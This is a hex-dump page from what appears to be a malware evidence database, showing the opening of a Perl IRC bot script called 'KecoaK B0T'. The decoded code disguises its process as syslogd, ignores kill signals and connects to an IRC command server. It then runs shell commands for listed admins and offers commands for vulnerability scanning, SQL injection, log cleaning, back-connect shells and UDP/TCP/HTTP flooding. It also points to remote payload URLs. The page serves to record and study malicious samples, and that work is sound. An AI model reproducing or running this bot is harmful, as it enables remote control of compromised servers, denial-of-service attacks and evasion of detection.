CLEAN MX realtime database
safe Phish viewer

hex view of evidence ...
0: 23212F7573722F62696E2F7065726C0D0A232323232323232323232323232323          #!/usr/bin/perl ###############
32: 2323232323232323232323232323232323232323230D0A23204F726967696E61          ##################### # Origina
64: 6C2044657369676E2042792050697462756C204D6F64646564204279204B6563          l Design By Pitbul Modded By Kec
96: 6F614B0D0A232D5B4B65636F614B2042305420436F6D6D616E6473204C697374          oaK #-[KecoaK B T Commands List
128: 5D2D0D0A232D2D2D2D2D5B4861636B696E672042617365645D2D2D2D2D2D0D0A          ]- #-----[Hacking Based]-----
160: 232021626F7420406D756C74697363616E203C76756C6E3E203C646F726B3E0D          # !bot @multiscan <vuln> <dork>
192: 0A232021626F742040736F636B73350D0A232021626F74204073716C32203C76          # !bot @socks5 # !bot @sql2 <v
224: 756C6E3E203C646F726B3E203C636F6C3E0D0A232021626F742040706F727473          uln> <dork> <col> # !bot @ports
256: 63616E203C69703E0D0A232021626F7420406C6F67636C65616E65720D0A2320          can <ip> # !bot @logcleaner #
288: 21626F74204073656E646D61696C203C7375626A6563743E203C73656E646572          !bot @sendmail <subject> <sender
320: 3E203C726563697069656E743E203C6D6573736167653E0D0A232021626F7420          > <recipient> <message> # !bot
352: 4073797374656D0D0A232021626F742040636C656172746D700D0A232021626F          @system # !bot @cleartmp # !bo
384: 742040726F6F7461626C650D0A232021626F7420406E6D6170203C69703E203C          t @rootable # !bot @nmap <ip> <
416: 626567696E706F72743E203C656E64706F72743E0D0A232021626F7420406261          beginport> <endport> # !bot @ba
448: 636B203C69703E3C706F72743E20200D0A232021626F7420406C696E75786865          ck <ip><port> # !bot @linuxhe
480: 6C700D0A232021626F742040636420746D703A2E207C20666F72206578616D70          lp # !bot @cd tmp:. | for examp
512: 6C650D0A232D2D2D2D2D5B41647669736F72792D4E65772042617365645D2D2D          le #-----[Advisory-New Based]--
544: 2D2D2D0D0A232021626F7420407061636B657473746F726D0D0A232021626F74          --- # !bot @packetstorm # !bot
576: 20406D696C7730726D0D0A232D2D2D2D2D5B44446F732042617365645D2D2D2D          @milw rm #-----[DDos Based]---
608: 2D2D0D0A232021626F742040756470666C6F6F64203C686F73743E203C706163          -- # !bot @udpflood <host> <pac
640: 6B65742073697A653E203C74696D653E0D0A232021626F742040746370666C6F          ket size> <time> # !bot @tcpflo
672: 6F64203C686F73743E203C706F72743E203C7061636B65742073697A653E203C          od <host> <port> <packet size> <
704: 74696D653E0D0A232021626F74204068747470666C6F6F64203C686F73743E20          time> # !bot @httpflood <host>
736: 3C74696D653E0D0A232021626F74204073716C666C6F6F64203C686F73743E20          <time> # !bot @sqlflood <host>
768: 3C74696D653E0D0A232D2D2D2D2D5B4952432042617365645D2D2D2D2D2D0D0A          <time> #-----[IRC Based]-----
800: 232021626F7420406B696C6C6D6520200D0A232021626F7420406A6F696E2023          # !bot @killme # !bot @join #
832: 6368616E6E656C0D0A232021626F7420407061727420236368616E6E656C0D0A          channel # !bot @part #channel
864: 232021626F74204072657365740D0A232021626F742040766F696365203C7768          # !bot @reset # !bot @voice <wh
896: 6F3E0D0A232021626F7420406F776E6572203C77686F3E0D0A232021626F7420          o> # !bot @owner <who> # !bot
928: 4064656F776E6572203C77686F3E0D0A232021626F7420406465766F69636520          @deowner <who> # !bot @devoice
960: 3C77686F3E0D0A232021626F74204068616C666F70203C77686F3E0D0A232021          <who> # !bot @halfop <who> # !
992: 626F742040646568616C666F70203C77686F3E0D0A232021626F7420406F7020          bot @dehalfop <who> # !bot @op
1024: 3C77686F3E0D0A232021626F74204064656F70203C77686F3E0D0A232D2D2D2D          <who> # !bot @deop <who> #----
1056: 2D5B466C6F6F64696E672042617365645D2D2D2D2D2D0D0A232021626F742040          -[Flooding Based]----- # !bot @
1088: 6D7367666C6F6F64203C77686F3E0D0A232021626F742040646363666C6F6F64          msgflood <who> # !bot @dccflood
1120: 203C77686F3E0D0A232021626F74204063746370666C6F6F64203C77686F3E0D          <who> # !bot @ctcpflood <who>
1152: 0A232021626F7420406E6F74696365666C6F6F64203C77686F3E0D0A23202162          # !bot @noticeflood <who> # !b
1184: 6F7420406368616E6E656C666C6F6F640D0A232021626F7420406D617869666C          ot @channelflood # !bot @maxifl
1216: 6F6F64203C77686F3E0D0A232323232323232323232323232323232323232323          ood <who> #####################
1248: 2323232323232323232323232323230D0A75736520485454503A3A5265717565          ############### use HTTP::Reque
1280: 73743B0D0A757365204C57503A3A557365724167656E743B0D0A6D7920247072          st; use LWP::UserAgent; my $pr
1312: 6F636573736F203D20272F7362696E2F7379736C6F6764273B0D0A6D7920246C          ocesso = '/sbin/syslogd'; my $l
1344: 696E61735F6D61783D273130273B0D0A6D792024736C6565703D2735273B0D0A          inas_max='1 '; my $sleep='5';
1376: 6D792024636D643D22687474703A2F2F6834636B33642E77736E772E6E65742F          my $cmd="http://h4ck3d.wsnw.net/
1408: 6D696332322E747874223B0D0A6D79202469643D22687474703A2F2F6834636B          mic22.txt"; my $id="http://h4ck
1440: 33642E77736E772E6E65742F6D696332322E747874223B0D0A23232323232323          3d.wsnw.net/mic22.txt"; #######
1472: 2323232323232323232323232323232323232323232323232323232323232323          ################################
1504: 23232323230D0A6D79204061646D733D2822447261676F6E5F666C79222C2253          ##### my @adms=("Dragon_fly","S
1536: 544D494B22293B0D0A6D79204063616E6169733D282223676F6F6422293B0D0A          TMIK"); my @canais=("#good");
1568: 2350757420796F7572206368616E6E656C20686572650D0A6D7920406E69636B          #Put your channel here my @nick
1600: 6E616D65203D2028224D616E6375616E61222C22556D6D616972222C200D0A20          name = ("Mancuana","Ummair",
1632: 202020225574736D616E222C0D0A202020202241627542616B6172222C0D0A20          "Utsman", "AbuBakar",
1664: 20202022416C69222C0D0A2020202022556D6172222C0D0A2020202022576172          "Ali", "Umar", "War
1696: 61716F222C0D0A20202020224B686164696A6168222C0D0A2020202022486173          aqo", "Khadijah", "Has
1728: 79696D222C0D0A20202020224162626173222C0D0A20202020224E7572416C69          yim", "Abbas", "NurAli
1760: 6D222C0D0A2020202022556D6D69222C0D0A202020202241756661222C0D0A20          m", "Ummi", "Aufa",
1792: 20202022486172697473222C0D0A20202020224A61666172222C0D0A20202020          "Harits", "Jafar",
1824: 2248617269746861222C0D0A202020202241626475727261686D616E222C0D0A          "Haritha", "Abdurrahman",
1856: 20202020225562616964696C6C6168222C200D0A202020202253616164222C0D          "Ubaidillah", "Saad",
1888: 0A20202020225A7562616972222C0D0A2020202022556261696461222C0D0A20          "Zubair", "Ubaida",
1920: 2020202242696C616C222C0D0A20202020224B686F697468616D61222C0D0A20          "Bilal", "Khoithama",
1952: 2020202248616D7A6168222C0D0A202020202244756A616E61222C0D0A202020          "Hamzah", "Dujana",
1984: 202251757A6D616E222C0D0A20202020224B686F6C6964222C0D0A2020202022          "Quzman", "Kholid", "
2016: 416E6173222C0D0A20202020225573616D61222C0D0A20202020224D75776179          Anas", "Usama", "Muway
2048: 68696261222C0D0A20202020225A776965727322293B0D0A6D7920246E69636B          hiba", "Zwiers"); my $nick
2080: 203D20246E69636B6E616D655B72616E64207363616C617220406E69636B6E61          = $nickname[rand scalar @nickna
2112: 6D655D3B0D0A234E69636B6E616D65206F6620626F74200D0A6D792024697263          me]; #Nickname of bot my $irc
2144: 6E616D65203D27736174726961273B0D0A63686F7020286D7920247265616C6E          name ='satria'; chop (my $realn
2176: 616D65203D2027696064616427293B0D0A23495243206E616D6520616E642052          ame = 'i`dad'); #IRC name and R
2208: 65616C6E616D65200D0A247365727669646F723D2773656B69707A2E6E657427          ealname $servidor='sekipz.net'
2240: 20756E6C65737320247365727669646F723B0D0A6D792024706F7274613D2738          unless $servidor; my $porta='8
2272: 30273B200D0A2323232323232323232323232323232323232323232323232323           '; ##########################
2304: 2323232323232323232323232323232323230D0A245349477B27494E54277D20          ################## $SIG{'INT'}
2336: 3D202749474E4F5245273B0D0A245349477B27485550277D203D202749474E4F          = 'IGNORE'; $SIG{'HUP'} = 'IGNO
2368: 5245273B0D0A245349477B275445524D277D203D202749474E4F5245273B0D0A          RE'; $SIG{'TERM'} = 'IGNORE';
2400: 245349477B2743484C44277D203D202749474E4F5245273B0D0A245349477B27          $SIG{'CHLD'} = 'IGNORE'; $SIG{'
2432: 5053277D203D202749474E4F5245273B0D0A75736520494F3A3A536F636B6574          PS'} = 'IGNORE'; use IO::Socket
2464: 3B0D0A75736520536F636B65743B0D0A75736520494F3A3A53656C6563743B0D          ; use Socket; use IO::Select;
2496: 0A636864697228222F22293B0D0A0D0A23436F6E6E6563740D0A247365727669          chdir("/"); #Connect $servi
2528: 646F723D2224415247565B305D222069662024415247565B305D3B0D0A24303D          dor="$ARGV[ ]" if $ARGV[ ]; $ =
2560: 222470726F636573736F222E225C30227831363B3B0D0A6D7920247069643D66          "$processo"."\ "x16;; my $pid=f
2592: 6F726B3B0D0A6578697420696620247069643B0D0A64696520224D6173616C61          ork; exit if $pid; die "Masala
2624: 6820666F726B3A2024212220756E6C65737320646566696E6564282470696429          h fork: $!" unless defined($pid)
2656: 3B0D0A0D0A6F757220256972635F736572766572733B0D0A6F75722025444343          ; our %irc_servers; our %DCC
2688: 3B0D0A6D7920246463635F73656C203D206E657720494F3A3A53656C6563742D          ; my $dcc_sel = new IO::Select-
2720: 3E6E657728293B0D0A2473656C5F636C69656E7465203D20494F3A3A53656C65          >new(); $sel_cliente = IO::Sele
2752: 63742D3E6E657728293B0D0A7375622073656E64726177207B0D0A2020206966          ct->new(); sub sendraw { if
2784: 202824235F203D3D2027312729207B0D0A2020202020206D792024736F636B65          ($#_ == '1') { my $socke
2816: 74203D20245F5B305D3B0D0A2020202020207072696E742024736F636B657420          t = $_[ ]; print $socket
2848: 22245F5B315D5C6E223B0D0A0D0A2020207D20656C7365207B0D0A2020202020          "$_[1]\n"; } else {
2880: 207072696E7420244952435F6375725F736F636B65742022245F5B305D5C6E22          print $IRC_cur_socket "$_[ ]\n"
2912: 3B0D0A2020207D0D0A7D0D0A0D0A73756220636F6E6563746172207B0D0A2020          ; } } sub conectar {
2944: 206D7920246D65756E69636B203D20245F5B305D3B0D0A2020206D7920247365          my $meunick = $_[ ]; my $se
2976: 727669646F725F636F6E203D20245F5B315D3B0D0A2020206D792024706F7274          rvidor_con = $_[1]; my $port
3008: 615F636F6E203D20245F5B325D3B0D0A0D0A2020206D7920244952435F736F63          a_con = $_[2]; my $IRC_soc
3040: 6B6574203D20494F3A3A536F636B65743A3A494E45542D3E6E65772850726F74          ket = IO::Socket::INET->new(Prot
3072: 6F3D3E22746370222C2050656572416464723D3E22247365727669646F725F63          o=>"tcp", PeerAddr=>"$servidor_c
3104: 6F6E222C0D0A20202050656572506F72743D3E24706F7274615F636F6E29206F          on", PeerPort=>$porta_con) o
3136: 722072657475726E2831293B0D0A20202069662028646566696E656428244952          r return(1); if (defined($IR
3168: 435F736F636B65742929207B0D0A202020202020244952435F6375725F736F63          C_socket)) { $IRC_cur_soc
3200: 6B6574203D20244952435F736F636B65743B0D0A202020202020244952435F73          ket = $IRC_socket; $IRC_s
3232: 6F636B65742D3E6175746F666C7573682831293B0D0A2020202020202473656C          ocket->autoflush(1); $sel
3264: 5F636C69656E74652D3E61646428244952435F736F636B6574293B0D0A202020          _cliente->add($IRC_socket);
3296: 202020246972635F736572766572737B244952435F6375725F736F636B65747D          $irc_servers{$IRC_cur_socket}
3328: 7B27686F7374277D203D2022247365727669646F725F636F6E223B0D0A202020          {'host'} = "$servidor_con";
3360: 202020246972635F736572766572737B244952435F6375725F736F636B65747D          $irc_servers{$IRC_cur_socket}
3392: 7B27706F727461277D203D202224706F7274615F636F6E223B0D0A2020202020          {'porta'} = "$porta_con";
3424: 20246972635F736572766572737B244952435F6375725F736F636B65747D7B27          $irc_servers{$IRC_cur_socket}{'
3456: 6E69636B277D203D20246D65756E69636B3B0D0A202020202020246972635F73          nick'} = $meunick; $irc_s
3488: 6572766572737B244952435F6375725F736F636B65747D7B276D65756970277D          ervers{$IRC_cur_socket}{'meuip'}
3520: 203D20244952435F736F636B65742D3E736F636B686F73743B0D0A2020202020          = $IRC_socket->sockhost;
3552: 206E69636B2822246D65756E69636B22293B0D0A20202020202073656E647261          nick("$meunick"); sendra
3584: 7728225553455220246972636E616D6520222E244952435F736F636B65742D3E          w("USER $ircname ".$IRC_socket->
3616: 736F636B686F73742E2220247365727669646F725F636F6E203A247265616C6E          sockhost." $servidor_con :$realn
3648: 616D6522293B0D0A202020202020736C65657020313B0D0A2020207D0D0A7D0D          ame"); sleep 1; } }
3680: 0A0D0A6D7920246C696E655F74656D703B0D0A7768696C652820312029207B0D          my $line_temp; while( 1 ) {
3712: 0A2020207768696C65202821286B65797328256972635F736572766572732929          while (!(keys(%irc_servers))
3744: 29207B20636F6E65637461722822246E69636B222C2022247365727669646F72          ) { conectar("$nick", "$servidor
3776: 222C202224706F72746122293B207D0D0A20202073656C65637428756E646566          ", "$porta"); } select(undef
3808: 2C20756E6465662C20756E6465662C20302E3031293B2023736C656570696E67          , undef, undef,  . 1); #sleeping
3840: 20666F722061206672616374696F6E206F662061207365636F6E64206B656570          for a fraction of a second keep
3872: 7320746865207363726970742066726F6D2072756E6E696E6720746F20313030          s the script from running to 1  
3904: 20637075207573616765205E5F5E0D0A20202064656C65746528246972635F73          cpu usage ^_^ delete($irc_s
3936: 6572766572737B27277D292069662028646566696E656428246972635F736572          ervers{''}) if (defined($irc_ser
3968: 766572737B27277D29293B0D0A2020206D7920407265616479203D202473656C          vers{''})); my @ready = $sel
4000: 5F636C69656E74652D3E63616E5F726561642830293B0D0A2020206E65787420          _cliente->can_read( ); next
4032: 756E6C65737328407265616479293B0D0A202020666F72656163682024666820          unless(@ready); foreach $fh
4064: 2840726561647929207B0D0A202020202020244952435F6375725F736F636B65          (@ready) { $IRC_cur_socke
4096: 74203D202466683B0D0A202020202020246D65756E69636B203D20246972635F          t = $fh; $meunick = $irc_
4128: 736572766572737B244952435F6375725F736F636B65747D7B276E69636B277D          servers{$IRC_cur_socket}{'nick'}
4160: 3B0D0A202020202020246E72656164203D2073797372656164282466682C2024          ; $nread = sysread($fh, $
4192: 6D73672C2034303936293B0D0A20202020202069662028246E72656164203D3D          msg, 4 96); if ($nread ==
4224: 203029207B0D0A2020202020202020202473656C5F636C69656E74652D3E7265           ) { $sel_cliente->re
4256: 6D6F766528246668293B0D0A2020202020202020202466682D3E636C6F73653B          move($fh); $fh->close;
4288: 0D0A20202020202020202064656C65746528246972635F736572766572737B24          delete($irc_servers{$
4320: 66687D293B0D0A2020202020207D0D0A202020202020406C696E6573203D2073          fh}); } @lines = s
4352: 706C697420282F5C6E2F2C20246D7367293B0D0A202020202020666F72286D79          plit (/\n/, $msg); for(my
4384: 2024633D303B2024633C3D2024236C696E65733B2024632B2B29207B0D0A2020          $c= ; $c<= $#lines; $c++) {
4416: 20202020202020246C696E65203D20246C696E65735B24635D3B0D0A20202020          $line = $lines[$c];
4448: 2020202020246C696E653D246C696E655F74656D702E246C696E652069662028          $line=$line_temp.$line if (
4480: 246C696E655F74656D70293B0D0A202020202020202020246C696E655F74656D          $line_temp); $line_tem
4512: 703D27273B0D0A202020202020202020246C696E65203D7E20732F5C72242F2F          p=''; $line =~ s/\r$//
4544: 3B0D0A202020202020202020756E6C65737320282463203D3D2024236C696E65          ; unless ($c == $#line
4576: 7329207B0D0A20202020202020202020202070617273652822246C696E652229          s) { parse("$line")
4608: 3B0D0A2020202020202020207D20656C7365207B0D0A20202020202020202020          ; } else {
4640: 20206966202824236C696E6573203D3D203029207B0D0A202020202020202020          if ($#lines ==  ) {
4672: 20202020202070617273652822246C696E6522293B0D0A202020202020202020          parse("$line");
4704: 2020207D20656C7369662028246C696E65735B24635D203D7E202F5C72242F29          } elsif ($lines[$c] =~ /\r$/)
4736: 207B0D0A20202020202020202020202020202070617273652822246C696E6522          { parse("$line"
4768: 293B0D0A2020202020202020202020207D20656C7369662028246C696E65203D          ); } elsif ($line =
4800: 7E202F5E285C532B29204E4F544943452041555448203A5C2A5C2A5C2A2F2920          ~ /^(\S+) NOTICE AUTH :\*\*\*/)
4832: 7B0D0A20202020202020202020202020202070617273652822246C696E652229          { parse("$line")
4864: 3B200D0A2020202020202020202020207D20656C7365207B0D0A202020202020          ; } else {
4896: 202020202020202020246C696E655F74656D70203D20246C696E653B0D0A2020          $line_temp = $line;
4928: 202020202020202020207D0D0A2020202020202020207D0D0A2020202020207D          } } }
4960: 0D0A2020207D0D0A7D0D0A0D0A737562207061727365207B0D0A2020206D7920          } } sub parse { my
4992: 2473657276617267203D2073686966743B0D0A20202069662028247365727661          $servarg = shift; if ($serva
5024: 7267203D7E202F5E50494E47205C3A282E2A292F29207B0D0A20202020202073          rg =~ /^PING \:(.*)/) { s
5056: 656E647261772822504F4E47203A243122293B0D0A2020207D20656C73696620          endraw("PONG :$1"); } elsif
5088: 282473657276617267203D7E202F5E5C3A282E2B3F295C21282E2B3F295C4028          ($servarg =~ /^\:(.+?)\!(.+?)\@(
5120: 2E2B3F2920505249564D534720282E2B3F29205C3A282E2B292F29207B0D0A20          .+?) PRIVMSG (.+?) \:(.+)/) {
5152: 20202020206D792024706E3D24313B206D792024686F73746D61736B3D202433          my $pn=$1; my $hostmask= $3
5184: 3B206D7920246F6E6465203D2024343B206D79202461726773203D2024353B0D          ; my $onde = $4; my $args = $5;
5216: 0A202020202020696620282461726773203D7E202F5E5C30303156455253494F          if ($args =~ /^\  1VERSIO
5248: 4E5C303031242F29207B0D0A2020202020202020206E6F74696365282224706E          N\  1$/) { notice("$pn
5280: 222C20225C30303156455253494F4E206D4952432076362E3137204B65636F61          ", "\  1VERSION mIRC v6.17 Kecoa
5312: 4B5C30303122293B0D0A2020202020207D0D0A20202020202069662028677265          K\  1"); } if (gre
5344: 70207B245F203D7E202F5E5C5124706E5C45242F69207D204061646D73202920          p {$_ =~ /^\Q$pn\E$/i } @adms )
5376: 7B0D0A20202020202020202069662028246F6E64652065712022246D65756E69          { if ($onde eq "$meuni
5408: 636B22297B0D0A2020202020202020202020207368656C6C282224706E222C20          ck"){ shell("$pn",
5440: 22246172677322293B0D0A2020202020202020207D0D0A23456E64206F662043          "$args"); } #End of C
5472: 6F6E6E6563740D0A202020202020202020696620282461726773203D7E202F5E          onnect if ($args =~ /^
5504: 285C51246D65756E69636B5C457C5C21626F74295C732B282E2A292F2029207B          (\Q$meunick\E|\!bot)\s+(.*)/ ) {
5536: 0D0A2020202020202020202020206D7920246E6174726978203D2024313B0D0A          my $natrix = $1;
5568: 2020202020202020202020206D792024617267203D2024323B0D0A2020202020          my $arg = $2;
5600: 202020202020206966202824617267203D7E202F5E5C21282E2A292F29207B0D          if ($arg =~ /^\!(.*)/) {
5632: 0A202020202020202020202020202020697263617365282224706E222C22246F          ircase("$pn","$o
5664: 6E6465222C222431222920756E6C6573732028246E6174726978206571202221          nde","$1") unless ($natrix eq "!
5696: 626F742220616E642024617267203D7E202F5E5C216E69636B2F293B0D0A2020          bot" and $arg =~ /^\!nick/);
5728: 202020202020202020207D20656C736966202824617267203D7E202F5E5C4028          } elsif ($arg =~ /^\@(
5760: 2E2A292F29207B0D0A202020202020202020202020202020246F6E646570203D          .*)/) { $ondep =
5792: 20246F6E64653B0D0A202020202020202020202020202020246F6E646570203D          $onde; $ondep =
5824: 2024706E20696620246F6E646520657120246D65756E69636B3B0D0A20202020          $pn if $onde eq $meunick;
5856: 20202020202020202020206266756E632822246F6E646570222C22243122293B          bfunc("$ondep","$1");
5888: 0D0A2020202020202020202020207D20656C7365207B0D0A2020202020202020          } else {
5920: 202020202020207368656C6C2822246F6E6465222C20222461726722293B0D0A          shell("$onde", "$arg");
5952: 2020202020202020202020207D0D0A2020202020202020207D0D0A2020202020          } }
5984: 207D0D0A2020207D0D0A23232323232323232323232323232323232323232323          } } ######################
6016: 23232320456E64206F66207072656669780D0A202020656C7369662028247365          ### End of prefix elsif ($se
6048: 7276617267203D7E202F5E5C3A282E2B3F295C21282E2B3F295C40282E2B3F29          rvarg =~ /^\:(.+?)\!(.+?)\@(.+?)
6080: 5C732B4E49434B5C732B5C3A285C532B292F6929207B0D0A2020202020206966          \s+NICK\s+\:(\S+)/i) { if
6112: 20286C6328243129206571206C6328246D65756E69636B2929207B0D0A202020          (lc($1) eq lc($meunick)) {
6144: 202020202020246D65756E69636B3D24343B0D0A202020202020202020246972          $meunick=$4; $ir
6176: 635F736572766572737B244952435F6375725F736F636B65747D7B276E69636B          c_servers{$IRC_cur_socket}{'nick
6208: 277D203D20246D65756E69636B3B0D0A2020202020207D0D0A2020207D20656C          '} = $meunick; } } el
6240: 73696620282473657276617267203D7E206D2F5E5C3A282E2B3F295C732B3433          sif ($servarg =~ m/^\:(.+?)\s+43
6272: 332F6929207B0D0A2020202020206E69636B2822246D65756E69636B7C222E69          3/i) { nick("$meunick|".i
6304: 6E742072616E642839393939393929293B0D0A2020207D20656C736966202824          nt rand(999999)); } elsif ($
6336: 73657276617267203D7E206D2F5E5C3A282E2B3F295C732B3030315C732B285C          servarg =~ m/^\:(.+?)\s+  1\s+(\
6368: 532B295C732F6929207B0D0A202020202020246D65756E69636B203D2024323B          S+)\s/i) { $meunick = $2;
6400: 0D0A202020202020246972635F736572766572737B244952435F6375725F736F          $irc_servers{$IRC_cur_so
6432: 636B65747D7B276E69636B277D203D20246D65756E69636B3B0D0A2020202020          cket}{'nick'} = $meunick;
6464: 20246972635F736572766572737B244952435F6375725F736F636B65747D7B27          $irc_servers{$IRC_cur_socket}{'
6496: 6E6F6D65277D203D20222431223B0D0A202020202020666F7265616368206D79          nome'} = "$1"; foreach my
6528: 202463616E616C20284063616E61697329207B0D0A2020202020202020207365          $canal (@canais) { se
6560: 6E6472617728224A4F494E202463616E616C20246B657922293B0D0A20202020          ndraw("JOIN $canal $key");
6592: 20207D0D0A2020207D0D0A7D0D0A0D0A737562206266756E63207B0D0A202020          } } } sub bfunc {
6624: 6D7920247072696E746C203D20245F5B305D3B0D0A2020206D79202466756E63          my $printl = $_[ ]; my $func
6656: 617267203D20245F5B315D3B0D0A202020696620286D792024706964203D2066          arg = $_[1]; if (my $pid = f
6688: 6F726B29207B0D0A2020202020207761697470696428247069642C2030293B0D          ork) { waitpid($pid,  );
6720: 0A2020207D20656C7365207B0D0A20202020202069662028666F726B29207B0D          } else { if (fork) {
6752: 0A202020202020202020657869743B0D0A2020202020207D20656C7365207B0D          exit; } else {
6784: 0A0D0A202020202020202020696620282466756E63617267203D7E202F5E6B69          if ($funcarg =~ /^ki
6816: 6C6C6D652F29207B0D0A20202020202020202020202073656E64726177282449          llme/) { sendraw($I
6848: 52435F6375725F736F636B65742C202251554954203A22293B0D0A2020202020          RC_cur_socket, "QUIT :");
6880: 20202020202020246B696C6C64203D20226B696C6C202D3920222E666F726B3B          $killd = "kill -9 ".fork;
6912: 0D0A20202020202020202020202073797374656D202860246B696C6C6460293B          system (`$killd`);
6944: 0D0A2020202020202020207D0D0A232323232323232323232323232323232323          } ##################
6976: 232323230D0A232020202020202020202020202020202020202020436F6D6D61          #### # Comma
7008: 6E647320202020202020202020202020202020202020202020230D0A23232323          nds # ####
7040: 2323232323232323232323232323232323230D0A202020202020202020696620          ################## if
7072: 282466756E63617267203D7E202F5E636F6D6D616E64732F29207B0D0A202020          ($funcarg =~ /^commands/) {
7104: 20202020202020202073656E6472617728244952435F6375725F736F636B6574          sendraw($IRC_cur_socket
7136: 2C2022505249564D534720247072696E746C203A03342C315B02033134400339          , "PRIVMSG $printl :4,1[14@9
7168: 2D5B4B65636F614B2042305420436F6D6D616E6473204C6973745D2D03313440          -[KecoaK B T Commands List]-14@
7200: 0334025D2022293B0D0A20202020202020202020202073656E64726177282449          4] "); sendraw($I
7232: 52435F6375725F736F636B65742C2022505249564D534720247072696E746C20          RC_cur_socket, "PRIVMSG $printl
7264: 3A03342C315B02033134400331332D2D2D2D2D5B4B65636F614B2F4861636B69          :4,1[14@13-----[KecoaK/Hacki
7296: 6E672042617365645D2D2D2D2D2D033134400334025D2022293B0D0A20202020          ng Based]-----14@4] ");
7328: 202020202020202073656E6472617728244952435F6375725F736F636B65742C          sendraw($IRC_cur_socket,
7360: 2022505249564D534720247072696E746C203A033721626F7420033134400333          "PRIVMSG $printl :7!bot 14@3
7392: 6D756C74697363616E203C76756C6E3E203C646F726B3E22293B0D0A20202020          multiscan <vuln> <dork>");
7424: 202020202020202073656E6472617728244952435F6375725F736F636B65742C          sendraw($IRC_cur_socket,
7456: 2022505249564D534720247072696E746C203A033721626F7420033134400333          "PRIVMSG $printl :7!bot 14@3
7488: 736F636B733522293B0D0A20202020202020202020202073656E647261772824          socks5"); sendraw($
7520: 4952435F6375725F736F636B65742C2022505249564D534720247072696E746C          IRC_cur_socket, "PRIVMSG $printl
7552: 203A033721626F742003313440033373716C203C76756C6E3E203C646F726B3E          :7!bot 14@3sql <vuln> <dork>
7584: 22293B0D0A20202020202020202020202073656E6472617728244952435F6375          "); sendraw($IRC_cu
7616: 725F736F636B65742C2022505249564D534720247072696E746C203A03372162          r_socket, "PRIVMSG $printl :7!b
7648: 6F7420033134400333706F72747363616E203C69703E22293B0D0A2020202020          ot 14@3portscan <ip>");
7680: 2020202020202073656E6472617728244952435F6375725F736F636B65742C20          sendraw($IRC_cur_socket,
7712: 22505249564D534720247072696E746C203A033721626F74200331344003336C          "PRIVMSG $printl :7!bot 14@3l
7744: 6F67636C65616E657222293B0D0A20202020202020202020202073656E647261          ogcleaner"); sendra
7776: 7728244952435F6375725F736F636B65742C2022505249564D53472024707269          w($IRC_cur_socket, "PRIVMSG $pri
7808: 6E746C203A033721626F742003313440033373656E646D61696C203C7375626A          ntl :7!bot 14@3sendmail <subj
7840: 6563743E203C73656E6465723E203C726563697069656E743E203C6D65737361          ect> <sender> <recipient> <messa
7872: 67653E22293B0D0A20202020202020202020202073656E647261772824495243          ge>"); sendraw($IRC
7904: 5F6375725F736F636B65742C2022505249564D534720247072696E746C203A03          _cur_socket, "PRIVMSG $printl :
7936: 3721626F742003313440033373797374656D22293B0D0A202020202020202020          7!bot 14@3system");
7968: 20202073656E6472617728244952435F6375725F736F636B65742C2022505249          sendraw($IRC_cur_socket, "PRI
8000: 564D534720247072696E746C203A033721626F7420033134400333636C656172          VMSG $printl :7!bot 14@3clear
8032: 746D7022293B0D0A20202020202020202020202073656E647261772824495243          tmp"); sendraw($IRC
8064: 5F6375725F736F636B65742C2022505249564D534720247072696E746C203A03          _cur_socket, "PRIVMSG $printl :
8096: 3721626F7420033134400333726F6F7461626C6522293B0D0A20202020202020          7!bot 14@3rootable");
8128: 202020202073656E6472617728244952435F6375725F736F636B65742C202250          sendraw($IRC_cur_socket, "P
8160: 5249564D534720247072696E746C203A033721626F74200331344003336E6D61          RIVMSG $printl :7!bot 14@3nma
8192: 70203C69703E203C626567696E706F72743E203C656E64706F72743E22293B0D          p <ip> <beginport> <endport>");
8224: 0A20202020202020202020202073656E6472617728244952435F6375725F736F          sendraw($IRC_cur_so
8256: 636B65742C2022505249564D534720247072696E746C203A033721626F742003          cket, "PRIVMSG $printl :7!bot 
8288: 31344003336261636B203C69703E3C706F72743E22293B2020200D0A20202020          14@3back <ip><port>");
8320: 202020202020202073656E6472617728244952435F6375725F736F636B65742C          sendraw($IRC_cur_socket,
8352: 2022505249564D534720247072696E746C203A033721626F7420033134400333          "PRIVMSG $printl :7!bot 14@3
8384: 6C696E757868656C7022293B0D0A20202020202020202020202073656E647261          linuxhelp"); sendra
8416: 7728244952435F6375725F736F636B65742C2022505249564D53472024707269          w($IRC_cur_socket, "PRIVMSG $pri
8448: 6E746C203A033721626F7420033134400333636420746D703A2E207C20666F72          ntl :7!bot 14@3cd tmp:. | for
8480: 206578616D706C6522293B0D0A20202020202020202020202073656E64726177          example"); sendraw
8512: 28244952435F6375725F736F636B65742C2022505249564D534720247072696E          ($IRC_cur_socket, "PRIVMSG $prin
8544: 746C203A03342C315B02033134400331332D2D2D2D2D5B41647669736F72792F          tl :4,1[14@13-----[Advisory/
8576: 4E65772042617365645D2D2D2D2D2D033134400334025D2022293B0D0A202020          New Based]-----14@4] ");
8608: 20202020202020202073656E6472617728244952435F6375725F736F636B6574          sendraw($IRC_cur_socket
8640: 2C2022505249564D534720247072696E746C203A033721626F74200331344003          , "PRIVMSG $printl :7!bot 14@
8672: 337061636B657473746F726D22293B0D0A20202020202020202020202073656E          3packetstorm"); sen
8704: 6472617728244952435F6375725F736F636B65742C2022505249564D53472024          draw($IRC_cur_socket, "PRIVMSG $
8736: 7072696E746C203A033721626F74200331344003336D696C7730726D22293B0D          printl :7!bot 14@3milw rm");
8768: 0A20202020202020202020202073656E6472617728244952435F6375725F736F          sendraw($IRC_cur_so
8800: 636B65742C2022505249564D534720247072696E746C203A03342C315B020331          cket, "PRIVMSG $printl :4,1[1
8832: 34400331332D2D2D2D2D5B44446F732042617365645D2D2D2D2D2D0331344003          4@13-----[DDos Based]-----14@
8864: 34025D2022293B0D0A20202020202020202020202073656E6472617728244952          4] "); sendraw($IR
8896: 435F6375725F736F636B65742C2022505249564D534720247072696E746C203A          C_cur_socket, "PRIVMSG $printl :
8928: 033721626F7420033134400333756470666C6F6F64203C686F73743E203C7061          7!bot 14@3udpflood <host> <pa
8960: 636B65742073697A653E203C74696D653E22293B0D0A20202020202020202020          cket size> <time>");
8992: 202073656E6472617728244952435F6375725F736F636B65742C202250524956          sendraw($IRC_cur_socket, "PRIV
9024: 4D534720247072696E746C203A033721626F7420033134400333746370666C6F          MSG $printl :7!bot 14@3tcpflo
9056: 6F64203C686F73743E203C706F72743E203C7061636B65742073697A653E203C          od <host> <port> <packet size> <
9088: 74696D653E22293B0D0A20202020202020202020202073656E64726177282449          time>"); sendraw($I
